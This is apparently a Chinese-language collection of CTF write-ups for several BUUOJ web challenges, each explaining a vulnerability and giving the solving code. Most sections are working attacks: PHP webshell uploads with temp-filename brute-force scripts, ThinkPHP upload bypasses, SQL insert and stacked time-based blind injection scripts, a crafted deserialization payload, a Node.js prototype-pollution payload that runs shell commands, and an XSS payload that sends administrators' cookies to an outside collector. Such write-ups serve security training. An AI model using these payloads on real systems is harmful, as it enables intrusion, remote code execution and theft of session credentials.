<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>
访问flflflflag.php
这里可以用php7.0的bug
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell
import requests
from io import BytesIO
import re
file_data={
\'file\': BytesIO("<?php eval($_POST[a]);")
}
url="http://ad174df3-89cb-43d6-9e5b-ef88f8b1b19f.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)
之后再访问dir.php (可以通过扫描器扫出来,不过我没扫出来...)页面,得到文件名
这里讲下在不知道dir.php路径的前提下对文件名的爆破方法. tmp file的文件名是有规律的,都叫/tmp/php再加上6位的大小写字母加上数字的随机组合,这个爆破量比较大,但是是可行的,贴个exp
import string,requests,threading,Queue
charset = string.digits + string.letters
host = "123.207.99.17"
port = 80
base_url = "http://%s:%d" % (host, port)
def get_ready():
queue=Queue.Queue()
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
print \'putting \'+filename
queue.put(filename)
workers=[]
for t in range(30):
worker=threading.Thread(target=get,args=(queue,))
worker.start()
workers.append(worker)
for worker in workers:
worker.join()
def get(queue):
try:
while queue.qsize()!=0:
filename=queue.get(block=False)
brute_force_tmp_files(filename)
except Exception as e:
print e
def brute_force_tmp_files(filename):
url = "%s/include.php?file=/tmp/php%s" % ( base_url, filename)
print url
try:
response = requests.get(url,timeout=2)
if len(response.content)!=0:
print "[+] Include success!"
with open(\'success.txt\',\'a\') as f:
f.write(filename+\'\r\n\')
return True
except Exception as e:
print e
return False
def main():
get_ready()
if __name__ == "__main__":
main()
接下去蚁剑连接即可,不过需要利用插件绕过disable_function ,flag在env下
[RoarCTF 2019]Simple Upload
知识点:
- thinkphp控制器路由
- ThinkPHP 上传文件名爆破
- Think PHP upload()多文件上传
- think\upload类是怎么生成文件名的
Think PHP上传默认路径是/home/index/upload
Think PHP upload()多文件上传:
think PHP里面的upload()函数在不穿参数的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数它是基于微妙的当前时间来更改文件名,两个同时上传生成的文件名相差不会太远。
ThinkPHP 上传文件名爆破
这里的后缀命名方式运用了uniqid函数它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件名。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES[\'file\'] ;
if (strstr(strtolower($uploadFile[\'name\']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array(\'jpg\', \'gif\', \'png\', \'jpeg\');// 设置附件上传类型
$upload->rootPath = \'./Public/Uploads/\';// 设置附件上传目录
$upload->savePath = \'\';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info[\'file\'][\'savepath\'].$info[\'file\'][\'savename\'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
限制分析
主要的限制有上传文件的后缀名限制为不能为.php与下面的这句关于只能上传图片的限制。
$upload->allowExts = array(\'jpg\', \'gif\', \'png\', \'jpeg\');// 设置附件上传类型
但是$upload->allowExts并不是Think\Upload类的正确用法,所以allowexts 后缀名限制是无效的,所有说我们只需绕过后缀不能为.php的限制
然后怎么绕过对文件名不能为.php的限制呢?这里要用到的知识点为 think\upload 类的多文件上传与 think\upload 类是怎么生成文件名的
think\upload 类的多文件上传tp多文件上传
upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传并保存。
think\upload类是怎么生成文件名的
从官方手册上可以查找到
$upload -> saveName = array (\'uniqid\' , \' \');
默认的命名规则设置是采用uniqid函数生成一个唯一的字符串序列。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。故同时上传的两个文件的文件名一定不会差的很远,可爆破。所以这个时候我们上传第一个txt文件,再上传第三个txt文件,那么我们就可以知道我们上传第二个php木马文件在这个时间区域内的所在区间,就可以爆破出我们的木马文件
import requests
url = \'http://8eebd517-e32d-4bd4-84e1-0e2c874ef6b1.node3.buuoj.cn/index.php/Home/Index/upload\'
file1 = {\'file\':open(\'1.txt\',\'r\')}
file2 = {\'file[]\':open(\'1.php\',\'r\')} #upload()不传参时即是批量上传所以用[]
r = requests.post(url,files = file1)
print (r.text)
r = requests.post(url,files = file2)
print (r.text)
r = requests.post(url, files = file1)
print (r.text)
import requests
import time
dir =\'abcdef0123456789\'
for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = \'http://8eebd517-e32d-4bd4-84e1-0e2c874ef6b1.node3.buuoj.cn/Public/Uploads/2021-01-28/601284cc{}{}{}{}{}\'.format(i,j,k,x,y)
r = requests.get(url)
print("%s,%s" % (url, r,))
time.sleep(0.1) //防止BUU 的 429
if r.status_code == 200:
print(url)
break
由于BUU 429 的原因,爆破的时间有点久
得到文件名之后, 访问连接即可得到flag ,本来还以为要命令执行的
看了大师傅的WP发现还有个非预期解 ,用 shell.<>php 来 绕过对php后缀的限制
import requests
url = "http://8eebd517-e32d-4bd4-84e1-0e2c874ef6b1.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_POST[\'cmd\'])?>")}
r = requests.post(url, files=files)
print(r.text)
#得上传文件路径:http://8eebd517-e32d-4bd4-84e1-0e2c874ef6b1.node3.buuoj.cn/Public/Uploads/2021-01-28/60128a068af5e.php
[安洵杯 2019]不是文件上传
知识点
- 信息泄漏
- SQL注入
- 反序列化
获取源码
在主页的源码下方有一个开发人员留的信息,可知网站的源码已经被上传的github上面了。
而网站源码的名称就是网页页脚的wowouploadimage, github搜索这个名称,即可找到源码。
SQL注入 => 反序列化 => 读取Flag
在图片上传处,check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致了SQL注入,并且属于Insert注入。
审计代码后可知,图片数据在保存的时候,会将图片的高度和宽度进行序列化然后保存。在查看图片信息的页面(show.php)会对其进行反序列化。
我们需要通过SQL注入修改保存的信息中的序列化的值来利用。
在helper.php中的helper类中有一个__destruct魔术方法可以利用,通过调用view_files中的file_get_contents来读取flag。
构造payload
反序列化payload生成:
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
payload:
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)
正常上传图片的sql语句为:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES(\'TIM截图20191102114857\',\'f20c76cc4fb41838.jpg\',\'jpg\',\'pic/f20c76cc4fb41838.jpg\',\'a:2:{s:5:"width";i:1264;s:6:"height";i:992;}\')
由于title处是我们能够控制的,所以构造文件名如下:
1\',\'1\',\'1\',\'1\',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),(\'1.jpg
因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
[GXYCTF2019]StrongestMind
和以前做的入门题 秋名山车神 神似,直接放脚本
import requests
import re
import time
url = "http://3500056c-c3e1-4b2d-b082-f7c67fa3d5ee.node3.buuoj.cn/index.php"
s = requests.session()
source = s.get(url)
view = source.text
equation = eval("".join(re.findall("<br><br>(\d.*)<br><br><form",view)))
flag = s.post("http://3500056c-c3e1-4b2d-b082-f7c67fa3d5ee.node3.buuoj.cn/index.php", data={\'answer\': equation})
for i in range(1000):
equation = eval("".join(re.findall("<br><br>(\d.*)<br><br><form",flag.text)))
flag = s.post("http://3500056c-c3e1-4b2d-b082-f7c67fa3d5ee.node3.buuoj.cn/index.php", data = {\'answer\':equation})
print(i)
time.sleep(0.3)
print(flag.text)
[GYCTF2020]Ez_Express
知识点:
- NodeJs 原型链污染
- javascript 大小写绕过
P神的文章 深入理解 JavaScript Prototype 污染攻击
原型链的污染主要和两个函数有关
merge()
clone()
常用源码如下,可以看出clone与merge并无本质区别:
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
本质上这两个函数会有风险,就是因为存在能够控制数组(对象)的“键名”的操作。
但是要想实现原型链污染,光只要键名可控是不够的。以下面这个例子为参考:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
尝试把第二个键名设为__proto__并赋值b为2。看看能不能把object的属性b改为2。
污染失败
可以看见最后
o3.b
返回的是
undefined
,并没有污染成功。
主要原因就是因为
__proto__
没有被认为是一个键名。而这就需要我上面提到的另一个条件,代码如下时:
let o1 = {}
let o2 = JSON.parse(\'{"a": 1, "__proto__": {"b": 2}}\')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
如果存在JSON.parse(),就能成功把__proto__解析成键名了。
污染成功
javascript的大小写绕过
"ı".toUpperCase() == \'I\'
"ſ".toUpperCase() == \'S\'
"K".toLowerCase() == \'k\'
知识点就讲到这里,接下去分析下题目
www.zip泄露,下载下来,通过分析(主要代码在index.js),可以很容易的发现存在 clone() 和 merge() 函数,猜测为nodejs 原型链污染,接下去要做的就是找可以被污染的参数的
先分析下几个主要的路由
router.post(\'/login\', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert(\'forbid word\');history.go(-1);</script>")
}
req.session.user={
\'user\':req.body.userid.toUpperCase(),
\'passwd\': req.body.pwd,
\'isLogin\':false
}
res.redirect(\'/\');
}
//register ,参数userid 要经过 safeKeyword 函数的过滤,即对userid做了大小写的admin过滤. 成功绕过后,将会建立session目录,里面存储了注册的账号密码,注意里面的一个主要内容,user保存的是对userid做了toUpperCase()操作后的值,这个函数的利用在知识点有写,"ı".toUpperCase() == \'I\' ,从而用ADMıN成功注册ADMIN.
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert(\'register first\');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert(\'error passwd\');history.go(-1);</script>")
}
}
res.redirect(\'/\'); ;
});
//login,将我们输入的账号密码,和session里的user,passwd比较,相同则成功登入
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.post(\'/action\', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert(\'ADMIN is asked\');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert(\'success\');history.go(-1);</script>");
});
//action,如果session中的user不等于ADMIN,报错,否则对参数data做clone()操作
router.get(\'/info\', function (req, res) {
res.render(\'index\',data={\'user\':res.outputFunctionName});
})
//info ,这里有参数outputFunctionName,但是res.outputFunctionName=undefined;结合/action路由的clone(),也就是可以通过污染outputFunctionName进行SSTI,原理知识点里已经讲了(merge()污染)
结合题目名字Ez_Express。这是一个express框架下存在的一个rce漏洞利用点。具体见这篇文章
Express+lodash+ejs: 从原型链污染到RCE
利用链文章里有写
payload:
//需要将content-type改为 application/json
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load(\'child_process\').execSync(\'cat /flag\')//"},"Submit":""}
到/info路径,下载得到flag文件
[CISCN2019 华东北赛区]Web2
知识点:
- XSS 窃取cookie
- CSP安全策略
- 常规联合注入
拿到题目,随便注册下,有两个页面投稿和审核,通过扫目录可以发现还有一个admin.php路径
思路是通过投稿恶意XSS,然后点击审核,管理员就会来到我们的页面,审核我们的投稿
这样的话我们可以构造恶意代码,让管理员进去,从而窃取管理员的cookie,进入后台为所欲为
XSS构造网址题目有给 xss.buuoj.cn
平台会自动帮我们生成xss代码,自己可以研究一下那一摞代码都是干嘛的,很有意思哟
OK,我们回到投稿页面,来一个最简单的脚本实验一下
<script>alert(1)</script>
提示我们上传成功,查看下上传文件源代码
<meta http-equiv="content-security-policy" content="default-src \'self\'; script-src \'unsafe-inline\' \'unsafe-eval\'"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script>alert(1)</script>
通过Fuzz ,我们发现英文小括号被换成中文的了,“=”被替换成了中文“等于号” 等等,说明后端有保护机制,不过虽然头大,我们却可以用markup编码的方式绕过(就是我们喜闻乐见的&#编码) HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html
再看之前的源代码
它有个CSP内容安全策略的存在,CSP内容安全策略详解
CSP全称Content Security Policy ,可以直接翻译为内容安全策略,说白了,就是为了页面内容安全而制定的一系列防护策略. 通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。
通过csp我们可以制定一系列的策略,从而只允许我们页面向我们允许的域名发起跨域请求,而不符合我们策略的恶意攻击则被挡在门外
它开启了\'unsafe-eval\',所以我们可以用eval来执行我们的代码
所以,我们的payload为
in_str ="(function(){window.location.href=\'http://xss.buuoj.cn/index.php?do=api&id=qIiHBg&location=\'+escape((function(){try{return document.location.href}catch(e){return \'\'}})())+\'&toplocation=\'+escape((function(){try{return top.location.href}catch(e){return \'\'}})())+\'&cookie=\'+escape((function(){try{return document.cookie}catch(e){return \'\'}})())+\'&opener=\'+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:\'\'}catch(e){return \'\'}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
得到
<svg><script>eval("(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=qIiHBg&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();")</script>
至于为什么要加
我们替换的&#作为字符引用需要用外部元素进行解析,而
接下去将题目,在我们将payload投稿之后,到审查页面,验证码需要md5爆破,老套路了
import hashlib
for x in range(10,100000000):
md5_hack = hashlib.md5(str(x).encode()).hexdigest()
if md5_hack[0:6] == "9e0677":
print(x)
break
注意下这里的文件路径为http://web.node3.buuoj.cn/post/xxxxxxxx
回到 xss.buuoj.cn ,得到cookie ,修改cookie 到admin.php页面,进行常规联合注入即可得到flag
-1 union select 1,flagg,3 from flag#
[SWPU2019]Web4
知识点:
- 预处理+时间注入 +hex转码
题目给了一个登录框,如果点击注册功能的话会弹窗注册功能未开放;如果随便输用户名点登录的话没有反应,抓包看看:
username和password是用json格式发送的,并且会返回一段信息。先测试有没有注入点:我们尝试在username 后使用 ",发现报错了
使用#闭合,发现返回200
经过简单的手动fuzz之后发现没有办法进行联合查询(因为没有回显)和有Boolean回显的盲注,我猜可能是服务器全给WAF掉了,一般这种情况下可以考虑以下堆叠注入,所以我修改username为123\';,结果发现回显正常:
这样一来,可以推测拼接到服务器端的SQL语句就是:
select * from {table_name} where username=\'123\';\' and password=\'123\'
因为;号表示一个SQL语句的结束,;号后面的一个\'号被认为是下一个SQL语句的开始,所以没有产生报错,也就是说,这个题目是存在堆叠注入的(;号被解析了)
可以使用 时间盲注 + 堆叠注入+hex转码 进行注入,(在MySQL中0x开头的十六进制数会被转换成字符串,使用hex转码是为了绕过WAF)
大佬写的脚本
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = \'\'\'http://e4b6b45e-5ca4-45ca-93c5-a16e3cf2fe5c.node3.buuoj.cn/index.php?r=Login/Login\'\'\'
#注入payload
payloads = "asd\';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = \'\'
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {\'username\':payloads.format(str_to_hex(payload.format(i,j))),\'password\':\'test213\'}
print(datas)
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return \'\'.join([hex(ord(c)).replace(\'0x\', \'\') for c in s])
if __name__ == \'__main__\':
main()
得到
glzjin_wants_a_girl_friend.zip
下载得到源码,本来以为注入出来就是flag
审计,代码很简单
总的流程为,通过UserController类 中 的 actionIndex 方法,把$_REQUEST这个数组赋值给了$listData,然后传入了loadView 方法
而loadView 方法 恰好为 BaseController类中loadView方法的第二参数,这个第二参数进行了变量覆盖,而第一个参数进行一下路径的拼接得到一个php文件,然后直接包含该文件,因为传入loadView方法的第一个参数是userIndex,所以我们跟进userIndex.php
userIndex :我们可以通过变量覆盖设置$img_file的值, 而该代码会将该变量所对应的文件内容进行b64编码处理
所以我们传参 img_file=../../../flag.php
还有注意下 r 变量的值为 user/Index ,原因如下代码,会将r参数的值 按 / 进行分割,拼接,我们利用变量覆盖函数对应的控制器为userController ,所以传参 ?r=user/Index